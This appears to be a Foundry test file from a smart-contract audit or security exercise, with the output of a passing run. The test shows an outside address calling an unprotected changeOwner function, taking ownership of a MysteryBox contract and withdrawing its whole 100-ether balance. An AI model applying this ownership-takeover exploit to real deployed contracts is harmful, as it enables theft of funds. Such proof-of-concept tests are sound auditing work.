pragma solidity ^0.8.0;
import {console2} from "forge-std/Test.sol";
import "forge-std/Test.sol";
import "../src/MysteryBox.sol";
import "../src/SimpleAttacker.sol";
contract MysteryBoxReentrantcySimpleTest is Test {
MysteryBox public mysteryBox;
address public owner;
SimpleAttacker attacker;
function setUp() public {
owner = makeAddr("owner");
vm.deal(owner, 1000 ether);
vm.prank(owner);
mysteryBox = new MysteryBox{value: 100 ether }();
attacker = new SimpleAttacker{value: 1 ether}(mysteryBox);
}
function testBecomeOwner() public {
address user1 = address(0x1);
assertNotEq( user1, mysteryBox.owner() );
assertEq(user1.balance, 0);
assertEq(address(mysteryBox).balance, (100 ether) );
vm.startPrank(user1);
mysteryBox.changeOwner(user1);
assertEq( user1, mysteryBox.owner() );
mysteryBox.withdrawFunds();
vm.stopPrank();
assertNotEq(user1.balance, 0);
assertEq(user1.balance, (100 ether) );
assertEq(address(mysteryBox).balance, (0 ether) );
}
}
forge test --mt testBecomeOwner -vvv
[⠆] Compiling...
[⠰] Compiling 1 files with 0.8.20
[⠔] Solc 0.8.20 finished in 3.10s
Compiler run successful!
Ran 1 test for test/TestMysteryBoxRentrancySimple.t.sol:MysteryBoxReentrantcySimpleTest
[PASS] testBecomeOwner() (gas: 55418)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 41.35ms (2.51ms CPU time)
Ran 1 test suite in 484.47ms (41.35ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)